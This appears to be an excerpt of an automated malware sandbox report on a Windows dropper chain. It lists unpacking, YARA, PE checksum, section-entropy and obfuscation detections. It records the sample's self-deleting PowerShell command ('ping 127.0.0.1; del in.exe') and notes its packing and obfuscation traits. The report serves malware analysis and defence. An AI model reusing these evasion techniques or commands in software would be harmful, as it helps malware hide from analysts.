Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Unpacked PE file: 14.2.5fc147bcaa.exe.670000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vxwcoufq:EW;pnspstga:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vxwcoufq:EW;pnspstga:EW;.taggant:EW;
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Unpacked PE file: 30.2.fc157b04b959476fb80c0241912978f9.exe.580000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

.NET source code contains potential unpacker

Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 10.2.79cd489a19.exe.3b9d9d0.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 10.2.79cd489a19.exe.3b9d9d0.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 10.2.79cd489a19.exe.3b9d9d0.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 10.2.79cd489a19.exe.3b9d9d0.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 10.2.79cd489a19.exe.3b9d9d0.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe

Yara detected Costura Assembly Loader

Source: Yara match	File source: 10.2.79cd489a19.exe.5310000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.79cd489a19.exe.3b4d790.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2465411411.0000000005310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2457793692.0000000002D43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 79cd489a19.exe PID: 8072, type: MEMORYSTR

Source: random[2].exe.6.dr

Static PE information: 0xC03B6D70 [Sun Mar 13 18:41:52 2072 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 79cd489a19.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x449815 should be: 0x446a5c
Source: e8da769a7d.exe.6.dr	Static PE information: real checksum: 0x449815 should be: 0x446a5c
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1e5c7d should be: 0x1f3c95
Source: 751afd6d8b.exe.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: 27302b4729.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: file.exe	Static PE information: real checksum: 0x2e8a78 should be: 0x2eb1ff
Source: 5fc147bcaa.exe.6.dr	Static PE information: real checksum: 0x1e5c7d should be: 0x1f3c95
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e8a78 should be: 0x2eb1ff
Source: random[2].exe2.6.dr	Static PE information: real checksum: 0x4432dc should be: 0x43e323
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: 3b4e53035a.exe.6.dr	Static PE information: real checksum: 0x4432dc should be: 0x43e323
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: d7a64ab6bf.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: odogmioi
Source: file.exe	Static PE information: section name: qyfccaeh
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: odogmioi
Source: skotes.exe.0.dr	Static PE information: section name: qyfccaeh
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe0.6.dr	Static PE information: section name: tzuttanx
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 751afd6d8b.exe.6.dr	Static PE information: section name:
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: .idata
Source: 751afd6d8b.exe.6.dr	Static PE information: section name:
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: xnuzvlhe
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: tzuttanx
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: souunsyz
Source: random[1].exe1.6.dr	Static PE information: section name: zkkgfegk
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: e8da769a7d.exe.6.dr	Static PE information: section name:
Source: e8da769a7d.exe.6.dr	Static PE information: section name: .idata
Source: e8da769a7d.exe.6.dr	Static PE information: section name:
Source: e8da769a7d.exe.6.dr	Static PE information: section name: souunsyz
Source: e8da769a7d.exe.6.dr	Static PE information: section name: zkkgfegk
Source: e8da769a7d.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: vxwcoufq
Source: random[1].exe2.6.dr	Static PE information: section name: pnspstga
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name:
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: .idata
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name:
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: vxwcoufq
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: pnspstga
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: .taggant
Source: 3b4e53035a.exe.6.dr	Static PE information: section name:
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: .idata
Source: 3b4e53035a.exe.6.dr	Static PE information: section name:
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: pggsbtrm
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: umcppckl
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: pggsbtrm
Source: random[2].exe2.6.dr	Static PE information: section name: umcppckl
Source: random[2].exe2.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9D91C push ecx; ret	0_2_00C9D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C91359 push es; ret	0_2_00C9135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0011D91C push ecx; ret	1_2_0011D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0011D91C push ecx; ret	2_2_0011D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0011D91C push ecx; ret	6_2_0011D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0013DEDB push ss; iretd	6_2_0013DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0011DFC6 push ecx; ret	6_2_0011DFD9
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B1D39 pushfd ; retf	7_2_018B1D45
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_05A0A683 push ebp; ret	7_2_05A0A686
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A43849 push 00000069h; ret	7_2_08A4384B
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A4391F push 00000069h; ret	7_2_08A43921
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A43958 push 69C04589h; ret	7_2_08A4395F
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A434A6 push 69C04589h; ret	7_2_08A434B1
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A43527 push 00000069h; ret	7_2_08A4352C
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A4761A push ebx; retf	7_2_08A4762A
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A216804 pushad ; ret	7_2_0A216805
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2173C6 push esp; ret	7_2_0A2173C7
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2167E9 pushad ; ret	7_2_0A2167EB
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2174A9 push ebx; ret	7_2_0A2174AB
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2174C4 push ebx; ret	7_2_0A2174C5
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A217535 push ebx; ret	7_2_0A217536
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21751B push ebx; ret	7_2_0A21751C
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_02AA5946 push ss; retf	10_2_02AA594F

Source: file.exe	Static PE information: section name: entropy: 7.98706266210044
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.98706266210044
Source: random[1].exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: 79cd489a19.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe0.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[1].exe1.6.dr	Static PE information: section name: souunsyz entropy: 7.9567248280767044
Source: e8da769a7d.exe.6.dr	Static PE information: section name: souunsyz entropy: 7.9567248280767044
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.974291844309602
Source: random[1].exe2.6.dr	Static PE information: section name: vxwcoufq entropy: 7.9528560826806265
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: entropy: 7.974291844309602
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: vxwcoufq entropy: 7.9528560826806265
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: pggsbtrm entropy: 7.956358946570689
Source: random[2].exe2.6.dr	Static PE information: section name: pggsbtrm entropy: 7.956358946570689

Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
